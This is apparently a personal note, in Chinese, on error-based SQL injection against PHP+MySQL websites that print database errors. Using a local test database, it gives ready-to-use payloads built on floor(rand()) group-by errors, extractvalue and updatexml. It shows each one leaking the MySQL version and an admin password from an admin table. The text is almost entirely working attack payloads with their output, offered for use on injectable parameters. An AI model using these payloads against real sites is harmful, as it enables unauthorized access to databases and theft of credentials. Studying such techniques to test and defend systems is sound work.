放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
| 1 2 3 4 5 6 7 | mysql> show tables; +----------------+ | Tables_in_test | +----------------+ | admin | | article | +----------------+ |
| 1 2 3 4 5 6 7 8 | mysql> describe admin; +-------+------------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +-------+------------------+------+-----+---------+----------------+ | id | int(10) unsigned | NO | PRI | NULL | auto_increment | | user | varchar(50) | NO | | NULL | | | pass | varchar(50) | NO | | NULL | | +-------+------------------+------+-----+---------+----------------+ |
| 1 2 3 4 5 6 7 8 | mysql> describe article; +---------+------------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +---------+------------------+------+-----+---------+----------------+ | id | int(10) unsigned | NO | PRI | NULL | auto_increment | | title | varchar(50) | NO | | NULL | | | content | varchar(50) | NO | | NULL | | +---------+------------------+------+-----+---------+----------------+ |
1、通过floor报错
可以通过如下一些利用代码
| 1 2 | and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); |
| 1 2 3 | and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1), floor(rand(0)*2))); |
举例如下： 首先进行正常查询：
| 1 2 3 4 5 6 | mysql> select * from article where id = 1; +----+-------+---------+ | id | title | content | +----+-------+---------+ | 1 | test | do it | +----+-------+---------+ |
假如id输入存在注入的话，可以通过如下语句进行报错。
| 1 2 3 | mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key' |
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。 例如我们需要查询管理员用户名和密码： Method1:
| 1 2 3 4 | mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key' |
Method2:
| 1 2 3 4 | mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1), floor(rand(0)*2))); ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key' |
2、ExtractValue 测试语句如下
| 1 | and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); |
实际测试过程
| 1 2 3 | mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c, (select pass from admin limit 1)));-- ERROR 1105 (HY000): XPATH syntax error: '\admin888' |
3、UpdateXml 测试语句
| 1 | and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)) |
实际测试过程
| 1 2 3 | mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24, (select pass from admin limit 1),0x5e24),1)); ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$' |
All, thanks foreign guys.